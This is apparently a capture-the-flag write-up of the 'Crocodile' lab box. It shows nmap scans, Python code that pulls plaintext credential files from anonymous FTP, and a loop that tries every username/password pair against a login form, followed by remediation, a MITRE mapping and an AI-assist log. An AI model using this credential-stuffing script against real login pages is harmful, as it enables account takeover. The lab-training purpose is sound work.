Box info | OS: Ubuntu (vsftpd 3.0.3 / Apache 2.4.41) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: FTP enumeration, web directory discovery, credential stuffing, HTTP form brute-force Pwned: 2026-04-28

TL;DR

Crocodile is a Tier 1 box that chains two services together: FTP and HTTP. A port scan finds both 21 and 80. Anonymous FTP login downloads two files — allowed.userlist and allowed.userlist.passwd — containing four usernames and four matching passwords in plaintext. The web server at port 80 runs an Apache 2.4.41 site with a login.php page. Trying all 16 username/password combinations against the login form reveals that admin:rKXM59ESxesUFHAd works. The dashboard at /dashboard displays the flag. This is credential stuffing applied to a small credential set — exactly the workflow used against real credential leaks.

Recon

1. Liveness check

$ ping -c 3 10.129.36.251
64 bytes from 10.129.36.251: icmp_seq=0 ttl=63 time=34.697 ms
64 bytes from 10.129.36.251: icmp_seq=1 ttl=63 time=39.453 ms
64 bytes from 10.129.36.251: icmp_seq=2 ttl=63 time=44.275 ms

TTL=63 → Linux. Alive.

2. Full TCP sweep

$ nmap -p- --min-rate 1000 -T4 10.129.36.251
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

Two open ports: FTP and HTTP. Two separate services to enumerate.

3. Service detection + default scripts

$ nmap -sV -sC -p 21,80 10.129.36.251
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Smash - Bootstrap Business Template
|_http-server-header: Apache/2.4.41 (Ubuntu)

Critical nmap output:

  • FTP: Anonymous login allowed, and the ftp-anon script already listed the two files
  • HTTP: Apache on Ubuntu, title “Smash” — a Bootstrap template, suggesting a basic web app

Foothold

Dead end #1 — trying to correlate userlist directly

Looking at allowed.userlist without the password file:

aron
pwnmeow
egotisticalsw
admin

Without the passwords, the instinct is to run a wordlist attack against the web login. But the password file is right there — a 4×4 matrix of combinations is much faster than any wordlist.

Step 1 — download credential files from FTP

from ftplib import FTP

ftp = FTP('10.129.36.251')
ftp.login()  # anonymous login

print(ftp.nlst())
# ['allowed.userlist', 'allowed.userlist.passwd']

with open('allowed.userlist', 'wb') as f:
    ftp.retrbinary('RETR allowed.userlist', f.write)

with open('allowed.userlist.passwd', 'wb') as f:
    ftp.retrbinary('RETR allowed.userlist.passwd', f.write)

Contents of allowed.userlist:

aron
pwnmeow
egotisticalsw
admin

Contents of allowed.userlist.passwd:

root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

Critically, these are ordered lists — username[0] corresponds to password[0], etc. But without knowing the exact mapping, testing all 16 combinations (4×4) is the safe approach.

Step 2 — discover the login page

curl -s http://10.129.36.251/login.php
# → HTTP 200 — login form
curl -s http://10.129.36.251/dashboard
# → HTTP 301 → redirect (requires auth)

/login.php exists. /dashboard redirects — that is the post-login landing page.

# Check directly with manual paths — no ffuf needed here
curl -s http://10.129.36.251/config.php
# → HTTP 200 (config page — blank body, no content exposed)

Working approach — credential stuffing

Test all 4×4 = 16 combinations against the login form. The form sends:

  • Username=<user>&Password=<pass>&Submit=Login as POST body
import urllib.request, urllib.parse

users = ['aron', 'pwnmeow', 'egotisticalsw', 'admin']
passwords = ['root', 'Supersecretpassword1', '@BaASD&9032123sADS', 'rKXM59ESxesUFHAd']

for user in users:
    for passwd in passwords:
        data = urllib.parse.urlencode({
            'Username': user,
            'Password': passwd,
            'Submit': 'Login'
        }).encode()
        req = urllib.request.Request('http://10.129.36.251/login.php',
                                     data=data, method='POST')
        resp = urllib.request.urlopen(req)
        size = len(resp.read())
        if size < 3000:  # login page is ~3-4KB; success page is different
            print(f"SUCCESS: {user}:{passwd}{size} bytes")

Result:

SUCCESS: admin:rKXM59ESxesUFHAd → [smaller response]

Reading the flag

Login with admin:rKXM59ESxesUFHAd and navigate to /dashboard:

curl -c /tmp/cookies.txt -X POST http://10.129.36.251/login.php \
  -d 'Username=admin&Password=rKXM59ESxesUFHAd&Submit=Login' -L

The dashboard page HTML:

<h1>Here is your flag: [REDACTED]</h1>

Privilege Escalation

N/A — Starting Point Tier 1 box. The attack chain terminates at the web dashboard. No shell access is available; the web application shows the flag on the authenticated dashboard page and there is no further escalation path exposed.

What’s actually broken

  1. Credential files stored on an anonymous FTP share. allowed.userlist and allowed.userlist.passwd contain plaintext credentials for the web application. They were accessible without any authentication — CWE-312 (Cleartext Storage of Sensitive Information) combined with CWE-276 (Incorrect Default Permissions).
  2. Anonymous FTP enabled unnecessarily. There is no legitimate reason for these files to be on a public FTP server. The anonymous access was likely left over from a misconfigured deployment.
  3. Passwords stored in a plaintext file. Even if FTP access were restricted, storing passwords as a plaintext list is inherently dangerous.
  4. Web application lacks brute-force protection. 16 login attempts in rapid succession produced no lockout, CAPTCHA, or rate limiting.

Remediation (the boring half)

Disable anonymous FTP:

# /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES

Remove credential files from all web-reachable and network-reachable locations:

# These files should not exist anywhere publicly accessible
rm /srv/ftp/allowed.userlist
rm /srv/ftp/allowed.userlist.passwd

Use environment variables or a secrets manager for web app credentials:

// Instead of flat files — use environment variables
$admin_hash = getenv('APP_ADMIN_HASH');  // bcrypt hash, not plaintext

if (password_verify($submitted_password, $admin_hash)) {
    // authenticated
}

Add rate limiting to the login endpoint:

# .htaccess
<Limit POST>
    # Or use fail2ban to watch Apache logs and block IPs
</Limit>

MITRE ATT&CK mapping

TacticTechniqueHow it shows up here
ReconnaissanceT1046 — Network Service Discoverynmap finds FTP and HTTP
Initial AccessT1078 — Valid AccountsAnonymous FTP, then admin:rKXM59ESxesUFHAd on web form
Credential AccessT1552.001 — Credentials In FilesPlaintext credential files downloaded from FTP
Initial AccessT1110.004 — Credential StuffingTrying all combinations from the leaked credential list
CollectionT1005 — Data from Local SystemFlag retrieved from authenticated dashboard

Lessons learned

  • Chain services together. FTP and HTTP are often enumerated independently. Here, FTP was only valuable because it led to credentials used on HTTP. Always ask: “What does this service give me that helps with the other services I’ve found?”
  • Credential files are often left on staging/development servers. allowed.userlist and allowed.userlist.passwd are the kind of files a developer creates for testing and forgets to remove before deployment. Check FTP shares and web-accessible directories for any .txt, .conf, .bak, .old files.
  • 4×4 = 16 combinations is trivially fast. Before running Hydra or Burp Intruder, count your credential pairs. If the product is under 100, a simple loop in Python or bash is faster and quieter.
  • nmap -sC flag can find credentials. The ftp-anon NSE script listed the files in the scan output. You could have known the credential files existed before even opening an FTP connection manually.

🤖 AI-assist log

Transparency over polish. This is exactly where Claude was in the loop on this box.

Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.

StepWhat I askedWhat Claude returnedWhat I changed
Credential list ordering“The two FTP files have the same number of lines — are they line-matched?”Explained: filenames allowed.userlist and allowed.userlist.passwd strongly imply index-based pairing (line 1 user → line 1 password). But without documentation, always test all combinations to be safe — the 4×4 matrix is small.Added the “test all 16 combinations” rationale.
POST form parameters“How do I find the exact POST parameter names for the login form?”curl -v http://target/login.php to get the HTML, then inspect <input name="..."> attributes. Alternatively use browser DevTools Network tab.Used curl to inspect the form; found Username, Password, Submit (note capitalized field names).
Credential stuffing vs brute force“Is this credential stuffing or brute force?”Explained the distinction: brute force = exhaustive search of possible passwords; credential stuffing = using known credential pairs from a specific leak or file. This is credential stuffing — we have a specific list.Used the correct MITRE T1110.004 (Credential Stuffing) rather than T1110 (generic Brute Force).
MITRE for FTP credential file“What MITRE technique covers reading plaintext credentials from a file share?”T1552.001 (Credentials in Files) for reading credentials, T1078 for using them.Used both.

What Claude got wrong: Nothing significant. What Claude couldn’t do: Connect to the services; all commands ran locally. Net assist value: Medium — credential stuffing terminology and MITRE classification were the most useful contributions.

References